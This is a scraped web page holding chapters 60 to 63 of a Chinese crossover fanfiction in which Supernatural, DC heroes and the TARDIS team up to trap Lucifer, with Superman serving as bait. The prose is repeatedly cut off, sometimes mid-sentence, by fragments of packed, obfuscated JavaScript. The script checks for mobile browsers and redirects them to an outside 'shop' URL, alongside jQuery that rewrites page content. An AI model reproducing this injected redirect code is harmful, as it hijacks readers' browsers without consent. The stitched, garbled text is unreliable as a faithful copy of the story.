RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13533811|136106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 布鲁斯将四枚戒指依次收了起来:“正义联盟会解决此事的。” “哇哦,”迪恩夸张地叫了起来,“就这样?你叫我们过来就是几句话把戒指给拿走了,然后告诉我们,我们出局了?”他眯起眼睛,讥笑道:“这可有些霸道。” 在桌下,萨姆的膝盖悄悄撞了他一下,迪恩从他眼里看出了“闭嘴,有事一会儿说”的意味。 迪恩挑了挑眉毛,不说话了。 虽然不说话了,他也不愿意看着蝙蝠侠的一张冰块脸吃饭,哪怕英国管家再热情也没用。他要吃加了致死量糖和油的派,大口大口地咬碎,把对正义联盟霸道行事的不满全都发泄在里面。 迪恩一直在腹诽萨姆的饮食习惯像兔子,但今天他格外像兔子一些——他吃得格外少,只用叉子挑了几片生菜叶子,叶子上甚至没怎么沾到酱汁,就把外卖盒往前一推:“迪恩。” 这是一种要说非常严肃的话题时的语气。 迪恩喉咙一滚,努力将一大口派给咽了下去,又灌了一大口汽水:“是什么话你不能在蝙蝠侠面前说?” “他把我们踢出局是因为这件事有一个非常明显的解法。”萨姆说。 迪恩皱紧了眉头:“但听起来蝙蝠侠并没有一套可行的计划。” “是的。”萨姆说。 迪恩的眉头皱得更紧了。 这件事有一个明显的解决方式,而正义联盟却没有办法,这就意味着他们不想、或是不能用这种方式,甚至刻意踢他们出局来表态。 萨姆用他的那双狗狗眼恳切地盯着迪恩,等待着迪恩想到那个两人从来不敢去提及的话题。 “不,”迪恩咬牙切齿地说道,“你想都别想。” “这是唯一的方法。”萨姆语速飞快,思维流畅得像是已经把整套计划反反复复想了无数遍,“我们不知道路西法现在在哪里,但知道他会为了什么出现。 “他的容器。我。我可以当诱饵,把路西法引导陷阱里。” 迪恩越过桌子,抓住萨姆的领子,将他从椅子上拽了起来:“我说了,想都不要想,永远不要再提起这件事,否则我就把你绑起来。” 萨姆撇开头,刻意不去看那被怒火、焦虑、痛苦充斥着的眼睛,耸了耸肩:“我并不是说现在就要把自己送出去,但如果连正义联盟都找不到方法的话,至少我们知道最后可以诉诸的手段。” 迪恩松开手,喉咙发紧地点了点头:“是的,我们知道。” 这里一直存在着一种方法,一种早早就写在圣经里的方法:不是靠几个过分自信的凡人用匹夫之勇去打败魔鬼,也不是向恶魔献祭来设陷阱。 而是那些背着翅膀、头顶光环、唱着圣歌的天使,还有他们手中的利剑。 而让这些上帝的士兵打一场仗的前提是,要给他们的老大找个容器。 所有人都知道谁才是那个容器。 60.天启将临的第二天 哥谭开始出现了恶魔的身影,数量不多,而且也没有明确的目的性,大多是快速地附身一个人,趁着没人发现杀几个无辜路人,然后飞速地化作黑烟消失。 恶魔只是想将哥谭搅乱,让蝙蝠侠疲于奔命,没有闲工夫和正义联盟一起去阻碍地狱在世界各地布置的收割灵魂的“大事”。 蝙蝠侠并没有理会恶魔的小把戏——毕竟,蝙蝠家人多。 而且这里是哥谭。 哥谭的纹身师是忙不过来的,但街面上摆摊卖的一次性恶魔防御咒的贴纸也可以暂时充个数。恶魔驱逐的咒语念起来虽然很拗口,但手机里下一个录音循环播放还是极为便捷的,反正在哥谭也不会有人在意扰民这点小事。 开始是人们突然见到黑烟从路人的嘴巴里冒出来还会惊叫一阵,但没过几天就见怪不怪了——稻草人的毒气和小丑炸弹,哪个闹起来的时候不比恶魔规模更大、更让人防不胜防? 但夜翼在哥谭被目击到的次数还是增多了,并不是完全为了防范恶魔,而是哥谭与时俱进又怕死的小罪犯们想出了新的脱罪招数。 “我是被恶魔附身的!”一个被罗宾按在地上、手里拿着刀的凶徒理直气壮道。 “恶魔呢?” “跑了!” 伊琳在街上遇见过夜翼几次,他从空中荡过去的时候也会冲她点点头,露出一个紧绷着的勉强笑容。最真切不遮掩的神情是看她遭遇一个眼睛全黑的持刀者时的慌乱,但伊琳先一步将枪抵在了那人的太阳穴上,异常娴熟地用拇指和中指撑开他的眼皮,又用食指在他的眼珠子上一点,取出了一片薄薄的半透明状物体:“这是美瞳。” 夜翼是一个话很多的英雄,和他初交手的罪犯们总是会恼怒于他边动手边说俏皮话的习惯,觉得他是不是瞧不起自己。但被他手中的卡里棍砸了几下后,罪犯们就开始觉得夜翼还是瞧不起他们才比较好,最好再瞧不起他们一点。 可话很多的夜翼被那双熟悉的调笑似的眼睛一看,就什么话都说不出来了。 伊琳的嘴角依旧扬着,但眼睛里的笑却渐渐淡了下去,却迸发出征战般的坚定火光来。 夜翼只觉得自己只是晃神了一下,伊琳就这么站到了离自己不到半米的位置,熟练地单手扶住了他的后颈——她的小拇指还挑了一下隐蔽接缝处的拉链。 “我给你个选择的机会。”清新的甜香悄悄盖过了哥谭铁锈与潮湿的气味,“你可以选择现在把我推开,或者——” 迪克什么都没听到,只是顺着力道退了几步,后背撞在了路边商铺紧闭的玻璃门上,单薄的玻璃门一阵发抖。 他的头是没有撞在玻璃门上的,反而被柔软包裹着的坚硬给支撑住了,只有指骨撞上玻璃门的伊琳吸了口气,将刻意营造出的旖旎又霸道的气氛破坏得一干二净。 迪克忍不住笑了,当伊琳开始咬牙切齿地用眼神威胁他不准笑时,他笑得更开心了。 “总之,”她恶狠狠地收回了手,戳了戳他饱满的胸肌,“不准不声不响地躲着我。” 在迪克能说出辩解的话之前,伊琳飞快补充道:“发表情包不算‘声响’。” 迪克垂下眼睛:“我知道,我只是不知道......要说些什么。” “那就什么都不要说,”伊琳凑近他,“咯咯”地笑了起来,“还好你的面具是半脸的。” ** 除了堵住一只神出鬼没的大蓝鸟以外,伊琳自然也是有正事可干的。 如果迪克去伊琳的小公寓里面拜访,就会发现客厅里除了塔迪斯外,又多出一个满脸怒容的陌生人,时不时还会露出全黑的眼睛。 这只恶魔算是一个试验品,专门用来实践时空能量在控制恶魔方面的应用。 “太简单了,”博士站在塔迪斯操作台的监控器前,看着恶魔一遍遍尝试冲出这个一平米的小空间,却在踏出无形的墙后再一次从身后的位置迈进牢笼内,“甚至花不了多少能量,只需要轻轻地改变一下两边空间的对接顺序。” “真神奇。”萨姆瞪大了眼睛,“如果我们能诱导路西法出来,我们可以这样困住他吗?” 博士得意的笑容一下子消失了,不情不愿地承认道:“不,我很怀疑这一点。如果路西法本身就具有超越时空的能力的话。” 好消息是,拥有一个恶魔俘虏后,伊琳就有了更多机会去练习她的“天赋”。 恶魔附身了人类,这就意味着恶魔魂魄与□□躯壳的连接并非是严丝合缝的,而反映在时空能量上就是不稳定的波动与明显的拉扯感。 伊琳要做的,就是将自己的感知探出一个角,像拉扯毛衣上脱线的线头一般轻轻在恶魔魂魄的边缘一拉,让他在容器里晃晃荡荡,从嘴里喷出几缕黑烟,然后再被他吸回去,再吐出一声不耐烦地大骂:“你还有完没完了!” 她能做的不过就是这些。 但偶尔,在黑烟还没来得及收回去的时候,被她撕扯出的小口子正好够塔迪斯探出自己的能量,对空间做一些更精密的分割。这时候,人体就会倒在地上,暴露出开始腐坏的致命伤口,只留一团黑气在一米的小空间里转来转去。直到塔迪斯收回自己的干预,黑气才重新从口鼻处回到容器内。 然而,这样低成功率的方法绝不足以在临时遭遇恶魔时使用,更没办法用来对付路西法。 因此萨姆又提起了那个“最明显的方法”,而迪恩,意料之内地,和他大吵了一架。 他们或许会这样在争吵中继续僵持着,如果那个几百人的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13546557|136106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小镇没有因为一座死火山的突然苏醒而被火山灰覆盖的话。 当萨姆再一次提出想用自己当诱饵时,迪恩一言不发地走出了家门,右手攥成拳头,隐藏在牛仔裤口袋里。 一个坚硬的金属制品抵在他的右手掌心,时刻提醒着他最终的决定——他来到教堂前,松开了紧攥着的拳头,将十字架挂在了脖子上。 他已经绝望到成为一个信徒了。 “向天使祈祷吧,”他对着神父说,“告诉他们,迪恩·温彻斯特就在这里。” 在天使听到神父的祈祷之前,某个堕天使却先听到了他的绝望。 卡斯迪奥是从寻父之旅的途中折回来的,他惊讶地垂下眼,视线落在迪恩胸前的十字架上:“如果你相信天父,就更不应该答应成为米迦勒的容器。这不会是天父的意志。” “你怎么知道,”迪恩甩开他的手,嗤笑道,“你们都几百年没见过他了。” 卡斯迪奥抬起手,十字架消融在一片白光中:“因为如果这是他的意志,他就不配被尊为天父。” 他歪了歪头:“自由意志,你告诉我的。” ** 当天使拥有了自由意志,他自然会做一些平常天使绝对不会做的事。 比如,如果短时间内确实找不到上帝,他也可以退而求其次次次次,躲过视他为叛徒的天使和视他为仇寇的路西法的手下,去找一个他不怎么看得上但目标一致还有些可行的坏主意的盟友。 卡斯迪奥和盟友出现在超人家中时,以氪星人的听力也只听到了微小的扇动翅膀的声音,从虚无中突然生出。 超人并不是故意的,但当他转过身看见天使身旁那人的红眼睛时,他自己的眼睛也应激地红了一下。 “你毁了我的意大利手工定制西服!”红眼睛安然无恙地站在原地,胸口的黑西服被烧焦了一个洞,冒出阵阵黑烟。他不快地用手拍了拍破洞,抱怨说,“我还以为超人会更懂礼节些,至少不会刚一见面就想杀了客人。” 超人看了眼见过几面的卡斯迪奥,戴上了眼镜,又成为了格子衬衫里好脾气的克拉克·肯特:“呃,我很抱歉。你好,我是克拉克。” 卡斯迪奥郑重地点了一下头:“我是卡斯迪奥。”然后一脸严肃地和红眼睛恶魔说:“这个时候你要介绍自己,这是人类的礼仪。” 红色的眼睛一下子被一个巨大的白眼给替代了,等黑眼球落回原位,恶魔不屑地开口:“我是十字路口的恶魔,我和人类做了近千年的交易了,我不用一个羽毛脑袋来告诉我人类的礼仪。” 他还是伸出了手,点了点他扬着的下巴:“我是克劳利。我今天来,是想要送给超人先生一个礼物。” “一个能置路西法于死地的主意。” 61.天启将临的第三天 超人当然不会轻信了他的话,于是,他紧接着就问了一个再自然不过的问题:一个来自地狱的恶魔,怎么就想着要杀死地狱的君主呢? 他没料到的事,这话就像是打开了什么不得了的开关,引出了眼前这个名叫克劳利的恶魔满腹的牢骚。 “我们十字路口的恶魔都是本分的生意人,我们实现人类肮脏贪婪的小愿望,人类把灵魂抵给我们。多么公道的交易!”他越说越气急败坏,“路西法根本不懂什么叫作可持续发展!暴力,傲慢,把地狱弄得一团乱,毫无信义,毫无美感!” 超人睁大眼睛,从未想过会从恶魔嘴里听到“信义”两个字。 “别听他的,”卡斯迪奥翻了个白眼,“他在这儿的唯一原因就是如果地球上再没有人类,十字路口恶魔的存在就没有意义了。” “谢谢提醒!”克劳利瞪了他一眼,“路西法是一个喜怒无常的暴君,把所有恶魔都当成他的奴隶。除了那群对他忠心耿耿的傻子,谁会真心希望他得势?” “我们有共同的敌人,”克劳利将声音放得缓慢低沉,放松的姿态里充满了自信与即将做成一单生意的得意,“这是我们交易良好的基础,不是吗?” 在超人能够想出一个答复之前,卡斯迪奥皱着眉头打断了他:“没有‘交易’,没有任何与灵魂契约有关的东西。你提供信息,我们帮你去杀死路西法——结束。” “哦——‘我们’。”克劳利怪腔怪调地学着卡斯迪奥的话,“现在你和超人是一边的了,真让我感到伤心,我还以为我们相处得不错。” “不管怎么样,”克劳利将话题转了回来,“我来找你是想提供一个有关路西法的重要情报——他现在凑合用着的容器已经快烂了,路西法现在非常着急,需要尽快换到一个坚固的容器里。” “萨姆·温彻斯特是为了天启而生的,但如果在现有的容器过期之前还不能说服他的话,”克劳利耸了耸肩,“路西法也不会介意找另外能承受得了他的容器当个替代品。” “考虑到世界扩大了那么多,他的可选项也还不少。当然,氪星人一定是名单上的首选。”克劳利露出一个非常商业的笑容,“而且他并不知道死神的戒指也已经在你们手里了。所以,他不会意识到自己走进了一个陷阱里。” 眼前这个恶魔说的主意并不高明,正义联盟原本也想过类似的计划,但因为涉及到平民——萨姆——的安全而没有考虑实施。如今听到了克劳利的话,超人开始意识到如果这个计划能换一个执行人,可行性一下就高了好几倍。 ……即便如此,超人也不可能不带任何怀疑地全盘接受恶魔的话——否则的话,那位黑漆漆的搭档大概会按着他把上千条的安全守则背一遍才能离开暸望塔。 一想到这儿,超人不自觉地打了个哆嗦。 “当然,天启是我们世界带来的麻烦,如果超人先生有所顾虑我也能够理解。”克劳利开始说怪话了,“不管怎么样,地狱都收割不了氪星人的灵魂。” ……激将法,而且是非常蹩脚的激将法。 超人甚至露出了一个非常僵硬的官方笑容——正义联盟宣传报道封面上的那种:“谢谢你的信息,正义联盟会好好商议的。” 克劳利耸耸肩:“超人先生也许需要一些动力。” 超人不曾防备,那只天使突然举起手,放在了他的肩上,蓝色的眼睛里开始亮起纯白的光芒。超人的眼睛下意识地也跟着亮了起来,红色射线还没有触碰的卡斯迪奥的衣领,两人就消失在了原地。 克劳利的西装再一次冒出黑烟。 屋子里只剩了他一个人,克劳利没维持住波澜不惊的样子,开始跳脚:“我的定制西服!” ** 这个世界的天永远蒙着一层昏黄的颜色,卡斯迪奥有些想不通为什么在人口大量削减之后,地球的环境却没有任何好转的迹象。 但第一次来这里的超人并没有在意环境问题,他的注意力全都在穿梭在报废汽车之间的“人”上面——他甚至难以判断这些到底是不是人类,他们裸露在外面的皮肤上有腐烂的疮疤,走路时左摇右晃,重心前倾,还常常撞到一起。 “这是哪儿?” 话刚出口,所有的人都向他看来,以提高十倍的速度奔向他。 超人腾空而起,还顺手拉了一把天使:“他们是什么人?” “这里是天启后的世界。他们都感染了病毒,成了路西法的屠刀。”卡斯迪奥说,“如果我们不能及时组织路西法,这就是我们的未来。” 不管超人飞多远,他目光所及之处都是一片死寂与破败。四处都是报废的车辆,旁边溅着暗红色的血迹。路边的便利店都被席卷一空,货架倒落在地上,露出墙壁上的弹孔。 “那是哪儿?”超人突然停了下来,望着一处荒原里简陋但有人影穿梭其中的营地,“还有幸存者?” 卡斯迪奥看了一眼营地,神情略微有些不自在:“那是仅存的人类了。” “我们该去帮帮他们!” 还没等超人朝着营地飞过去,卡斯迪奥就点上了他的额头:“是时候走了。” 超人再一次回到了自己那间普普通通的小公寓里,窗外是灯火通明的大都市,邻居家传来躁动的音乐声,楼板随着派对参与者的狂欢而震动。 “为什么?”他转向卡斯迪奥,“为什么不让我帮助他们?” 卡斯迪奥脸色有些发白,手支撑在一旁的椅背上,听到超人的话才直起了身体:“那没有意义。那只是一种可能性,阻止天启才是唯一能消除那个世界的方式。” “我会当诱饵,”超人说,“我会带着路西法进入那个笼子里。” 卡斯迪奥和克劳利走出了克拉克的家门——非常正常的那种离开方式,开门、出门,还说一句“不用送了”。 下楼的时候克劳利听见卡斯迪奥在一旁咳嗽了几声,果断卷起一道黑烟,携着卡斯迪奥直接出现在一个空地上。 “啧。”克劳利有些嫌弃地看卡斯迪奥弯下身子,吐出一大口血,还有粘稠的血丝从他下巴上拖了老长。他从内袋里取出一块手帕,递给卡斯迪奥:“不用还了。” 卡斯迪奥看他一眼,擦了擦嘴角和下巴上的血,踉跄地靠近他,抓住了恶魔的衣领:“这只是因为带人穿越时空消耗了我的力量,但杀一只恶魔对我来说不值一提,你最好老实点,别打什么主意。” 克劳利毫不在意地将他的手拍了下去:“这就是你对待盟友的方式吗?” 紧接着,他轻描淡写地戳破了卡斯迪奥的虚张声势:“你或许能够打败我——注意,我是说,或许——如果你还是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13581952|136106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一只真正的天使的话。” 卡斯迪奥眯起眼睛:“你是什么意思?”他的眼睛开始亮起白光,光芒闪烁了几下,随着他又一次弯下腰干呕了几下,光芒彻底暗淡下去。 “你快没电了,不是吗?”克劳利拖长了语调,“天堂不愿给堕天使提供能量了,可怜。” 他不该相信恶魔的话,卡斯迪奥这么对自己说。他是在死后被复活的,只有天父有这样的力量,所以他绝不会被天父的力量所抛弃。 但他体内不断衰竭的荣光,以及他在末世里看到的那个自己,都应证了他最大的恐惧——他不再是天堂的战士了,他所有的消耗再也无法得到补足,终有一日,他会失去所有的荣光——死去,或是成为一个人类。 他想起了那个可能性里在所有天使离开后的自己:堕落颓唐,没有任何的信仰,毫无用处,只沉溺在人类酒色的荒唐罪恶里苟活。 “这不关你的事。”他强忍着撕裂的疼痛,从已经干涸的荣光里挤出一丝,压下了翻腾着的血液,展开了羽毛零落的翅膀,“你可以离开了。” “哈,过河拆桥?是不是太早了些?”克劳利抬起手,身上黑雾翻涌,挡住刺眼的光芒,“如果我说,我可以帮你恢复力量呢?” 光芒隐去了。卡斯迪奥不留痕迹地深呼吸了几下:“怎么?” “别忘了,路西法也是个堕天使。”克劳利冷笑,“地狱做灵魂生意的初衷,不过就是给他提供能量。” “灵魂。”卡斯迪奥思索着克劳利提议的可行性,“哪里能弄到这么多灵魂?你还能从路西法手里抢吗?” “哦,别担心,他已经被关了太久了。”克劳利摆摆手,“黑暗的君主根本不知道自己的国土里有多少地方,有一处的灵魂早就被人给遗忘了,但是出奇得强大。” “稍等,”他忽然化作黑烟钻入了地下,重新出现时口袋里鼓鼓囊囊的。他将手伸进口袋里,黑气从指缝间不断泄露出。 卡斯迪奥在他的眼神示意下张开嘴,深吸一口气,黑气进入他的体内,与荣光纠结在一起,炸开细细密密的疼痛,像是换羽时被外力剥离了摇摇欲坠的旧羽毛。 “这不是人类的灵魂。” “确实不是,”克劳利点点头,微笑道,“但是足够强大。” 重新充盈的荣光积极地游走在他的体内,安抚着穿越时空所造成的伤痛。卡斯迪奥眼里白光闪烁,夜晚的天空响起了隆隆的雷声。一道闪电穿透夜空,将翅膀的影子投射在地上。 “你想要什么?”卡斯迪奥一字一顿地询问。 克劳利神态放松:“一个目光长远的交易。” “在路西法死后,我会成为地狱的王。同时,我会帮助你掌控天堂。从此,天堂和地狱互不干涉,双赢。” 卡斯迪奥扣着下巴,目光晦暗地看着他。 克劳利轻轻笑了起来:“我猜,这是一个‘yes’?该做些什么标志交易的达成呢?一般来说,一个吻怎么样?” 卡斯迪奥翻了个白眼,消失在原地。 克劳利耸耸肩:“好吧,你是天使,你说了算。” 他的口袋又重新鼓了起来,克劳利眼疾手快地在黑气钻出来前按住了口袋,不耐烦地自言自语说:“怎么不小心多拿了一个?” “啧,利维坦真麻烦。” 62.天启将临的第四天 “你打算拿自己当诱饵?”蝙蝠侠的话传到会议室另一端时,闪电侠和绿灯侠被语气里的冰冷吓得一抖,没控制住力量,将两人争夺的一袋薯片从中间齐齐地撕裂开,薯片撒了一地。 白色透镜向他们看过来,闪电侠飞快地反应过来:“我会收拾干净的。” 微微缩起的白色透镜重新转了回去,正对着满脸写着无措的超人。 “这是最快的方法。”超人顶着蝙蝠侠不赞同的目光,语气在叙述中越发坚定,“我看到了如果路西法没有被及时阻止之后会发生的事,那是地狱,B。路西法不可能自己往笼子里跳,总有一个人要带着他进入笼子。” “所以在世界上的所有人里,你认为你——”蝙蝠侠拖长了语调,“是接受路西法复生、用意念摆脱魔法控制、夺回身体控制权带着路西法走向毁灭的最好人选?” 绿灯侠没忍住“扑哧”了一声:人人都知道,超人的魔抗近乎等于零。 超人自己也知道,所以他看上去有些尴尬,脚尖摩擦了一下地面:“是的。” 蝙蝠侠用那种不赞同的目光看了他很久,最后还是微微点了点头:“可以试一试。” “但首先,我们要确保你能够在被附身的情况下夺回身体的控制权。” 蝙蝠侠没有超能力,他所掌握的一切技能都源于日复一日的训练与对身边资源最高效的利用。所以他自然而然地找上卡斯迪奥,为超人制定了一个针对性的训练计划。 在落地玻璃隔出来的一小块空间里面,超人再一次与蝙蝠侠对视,紧张地舔了舔嘴,冲着卡斯迪奥点头:“我准备好了。” 他闭上眼,心中默默同意让天使进入他的身体。氪星人敏锐的听觉捕捉到身体倒地的声音,一股介于温暖与炽热之间的力量从他的口鼻处进入体内。他闭着眼睛,却看到自己的全身都充斥着白色的光芒。 一股倦意突然涌了上来,他在暖意里昏昏欲睡,白色的光芒舒展开,自如地流动在他的体内。 ……不再是他的身体了。当这个身体睁开眼,他看见搭档面罩上的白色透镜微微张大,屋子里的光线出奇地明亮。超人想眨眨眼,眼帘却没有听从他的指令,依然顽强地撑在那里。 这具身体向前走了一步,超人更加深切地意识到自己已经全然失去了对身体的感知。 ……不要慌。他的意识缩在身体里的某个角落,努力想着蝙蝠侠交代的步骤:集中精力在身体的其中一个部位上,建立联系,尝试操控。 他努力地想着,但四肢在这一刻变得无比陌生——事实上,他完全无法系统性地回忆起人体的动作是如何进行的:要抬手的话是先要动哪一块肌肉?我要怎么将命令下达过去? “超人?”他听见蝙蝠侠低沉的声音传来,“能听见我吗?” 他感到自己的头向一旁歪了歪,终于眨了一下眼:“还是我,卡斯迪奥。我想......他似乎没什么动作,我没有感到任何排斥。” 白色透镜又一次向里收缩了一些,超人能想象到面具后面那不赞同的眼神。 “请你先出来吧,我要和超人谈一谈。” 那股力量像流水一般抽出,超人在意识里松了一口气,接着惊讶地发现自己能够呼吸了。他抬了抬手,透视眼精准地辨别出了手臂肌肉的活动轨迹——但如果让他想着肌肉运动去动手臂,依旧有一种非常陌生的怪异感。 神经在缓慢地重新与他建立起联系,因此超人过了几秒才意识到蝙蝠侠问了他一个问题:“你觉得你大概多久可以掌握抵抗天使附身的能力?” ……这个问题有点难以回答。 “呃......我不确定......”超人绝望又尴尬地望着天花板——蝙蝠侠一定能从他的虚弱的话里听出他完全没有把握这一事实。 “那就继续训练吧,我会研究后备计划的。” ** 伊琳是从迪克的抱怨中听说这一新计划的。 这个消息最初被康纳泄漏出来,很快就变成了小鸟瞒着蝙蝠侠悄悄设下的赌局:超人什么时候能挣脱天使附身的操控并维持至少一秒钟。 迪克,作为一个用氪星神话给自己命名的英雄,本着对超人不理智的信赖,是整个家里压的时长最短的人——一个月。 于是在一个月后的电影之夜里,他就输掉了自己全部的小甜饼。 “我不赞同打赌这种行为。”当迪克倒挂在楼梯扶手上摇摇晃晃,央求阿尔弗雷多悄悄多给他做些小甜饼时,阿尔弗雷德微笑说,“但我想,帮助您履行赌约能让您记住这个这个教训。” “我应该知道的。”迪克听着电话那头传来的咀嚼声——阿尔弗雷德当然没有忘记给哥谭的客人们送去致以问候的甜点——懊恼地闭上了眼睛,“超人从来不擅长对付魔法。” 对面的咀嚼声顿住了,伊琳若有所思:“你觉得,天使和恶魔的附身从能量的角度看区别有多大?” “呃,我不知道?或许得问问扎塔娜?或者康斯坦丁?” “不,我不是说魔法能量。如果是从时空能量的角度看呢?都是灵体占据人类的身体,能有多大的区别呢?” 事实证明,天使附身时也会留下一些像松松垮垮的线头般的能量,能够让伊琳抓住机会,搅乱容器中的荣光。 “有点像穿越以太层的时候。”卡斯迪奥评价道,“翅膀以超出自身把控的方式完成了转换,意识和躯体有一瞬间的断连。” 一瞬间并不足以让塔迪斯没有误差地完成精准的能量剥离,但超人恢复掌控力的一刹那足以让他完成不那么精密的绘画工作。 在片刻的恍惚后,卡斯迪奥心有余悸地低头看着超人胸前被刻下的天使驱逐符——超人并没有真正启动它,但他能感受到以诺语的符文中让他头晕目眩的变化:“这或许能成功。” “所以,计划能正式启动了吗?” “我想是时候了。无论如何,路西法的耐心已经所剩无几,尤其是在米迦勒找到了替代迪恩的容器之后。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13604261|136106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> ** 迪恩从来没想到,在米迦勒和路西法大决斗的时候,他竟然只是一个观众——甚至看的还不是现场版。 “等等,”在被塞进泽塔管的前一秒,迪恩突然想到了一个问题,“米迦勒也找到容器了?” 他没有听见回答。 倒是萨姆跟在他后面神情恍惚地从泽塔管里走了出来:“他们说,米迦勒找了我们的兄弟当容器。” “兄弟?什么意思?” 迪恩皱起眉头,乱七八糟的思绪被一道陌生的女声打断了:“你们就是迪恩和萨姆吧,很高兴认识你们,我是露易丝。” 计划正式启动后,克劳利不声不响就派恶魔绑架了露易丝,超人差点就要抓着康斯坦丁带路荡平地狱,好在及时收到了克劳利传来的消息,向他保证了露易丝的安全,说是要靠这个取信路西法,让他相信超人愿意成为他容器并不是什么陷阱。 因此,在超人接受路西法的附身、露易丝被释放后,为了避免有其他人想对她下手,露易丝暂时就住在暸望塔里。 她已经看了好一会儿来自塔迪斯的现场视频转播,听到迪恩和萨姆的对话后,不确定地指向屏幕:“米迦勒的容器?是指这个年轻人吗?” “我从来没有见过他。”迪恩喃喃道,“兄弟?什么鬼?” 作为世界末日级别的对决,两位大天使的对峙出奇地平和——当然,他们在暴躁地争吵,但激烈程度可以类比平常人家孩子的争吵,充斥着对父母偏心程度的争论。 塔迪斯隐没在时空的夹层里,操控室里围满了正义联盟的英雄们和能让卢瑟为之震撼的分量的氪石粉末。 “是时候了。” 塔迪斯的物质化总是伴随着类似电子音的鸣笛声,杰克曾经试图给她换个音效,却被塔迪斯弄乱了房间以做报复。 在物质化的那一刻,路西法和米迦勒同时看向不远处半空中逐渐显出轮廓的小蓝盒子,默契地抬手。 气浪的冲击让蓝盒子震了几下,杰克及时用站立式的安全带固定住自己,调侃道:“看来他们不怎么欣赏这个音效啊。” “也许他们只是不喜欢这个拟态。”伊琳说。 绿灯侠往他们的方向看了几下,没忍住自己话唠的天性:“或许是不喜欢这个颜色?我觉得绿色对眼睛更好些。” “那你接下来就好好睁大眼睛。”蝙蝠侠手握着一把枪体极为宽大的长管枪,“穿着绿色的超人可不多见。” 绿灯侠果然瞪大了眼睛:“我现在终于相信世界末日到了,蝙蝠侠竟然会开玩笑了。” 蝙蝠侠嘴角上翘的弧度一闪而逝,当他握上门把手时,嘴唇已经抿成了一条薄薄的直线。 扎塔娜站在他身后一步的位置,摊开的手心里摆放着四枚戒指,舌尖顶住上颚,随时准备发出反语魔咒的第一个音节。 “现在还有蠢货来......” 路西法“送死”两个字还没出口,就被绿色的粉末罩了一头一脸。 63.风平浪不静的第一天 路西法从未想过,凡人稀奇古怪的东西竟然会让他这般狼狈。 这不是什么千万年以前的神物,不是天使、恶魔或者异教神的武器,只是某种绿得过分的矿石,却让他感受到了类似于被困在监牢中的痛苦。 他所引以为傲的独特容器,尚未向米迦勒展示的属于这具身体的有趣能力,一下子都被抽离了。容器沉甸甸地坠了下来,矿石所引起的疼痛和容器再也无法承载大天使力量的不适叠加在一起,路西法闷哼一声,弯下腰来,捂住眼眶里将要溢出的能量。 “你们怎么敢?”出乎他意料的是,米迦勒并没有趁人之危地对他出手,反而去质问起了那些凡人,“这是天启,是我将打败路西法的时候,你们也敢插手吗?” “你还是那么没有自知之明,”脸上传来熟悉的撕裂感,容器表皮逐渐化脓,又被他的力量强行将皮肤粘合在一起,路西法却还是忍不住反驳道,“所有种族都知道,我才是我们之间更强大的那一个。” ……然后他又吃了一嘴绿色矿石粉末,路西法感受到久违的头晕目眩,不由得暗自痛骂人类的奸诈。 这一次,米迦勒的注意力被冲着他飞来的几个小玩意儿给吸引走了。 几个小石子大小的物体被微弱的魔法托着,穿透了他下意识用荣光搭建起的护罩,落在他不远处的地上。此时他才看出那是四只花纹繁复、颜色暗沉的戒指,正好落在他身边的四个角上,将他圈在一个小小的圈中。 四只戒指发出幽深得仿佛能吸收一切的暗沉能量,吞噬了他脚下的土地。米迦勒猝不及防地开始下坠,在他能够反应过来之前,他的翅膀开始挣扎着探出容器外,刺目的白光布满所有土地以上的位置,戒指所围成的大洞依旧漆黑一片、深不见底。他的荣光在下坠中被洞穴吞噬。 米迦勒不曾及时逃离这片区域是因为他并没有认出这是什么,而路西法在黑洞铺展开的一瞬间就意识到这是曾经囚禁他的那片牢笼。 然而,他已然被自己疲软的容器困在原地,动弹不得。 ……除非他直接放弃这个容器,等待他日再卷土重来。 可是这时候想到离开已经太晚了,因为伊琳已经走到了塔迪斯门口,闭上了眼睛。 塔迪斯的精神触角在她身边轻柔地布成引导性的曲线,让她的意识能循着塔迪斯的意识指引,准确地找到目标。 那是一片扭曲的混沌,巨大的能量坍塌成一小团,寂静无声地酝酿着雷暴。混沌的边界不断崩塌,又被无序的能量所缠绕,七扭八扭地重建起边界。 伊琳只是在边界坍塌之后、在重建之前轻轻地推了一下,属于路西法的能量短暂地陷入了迷惑的停顿。 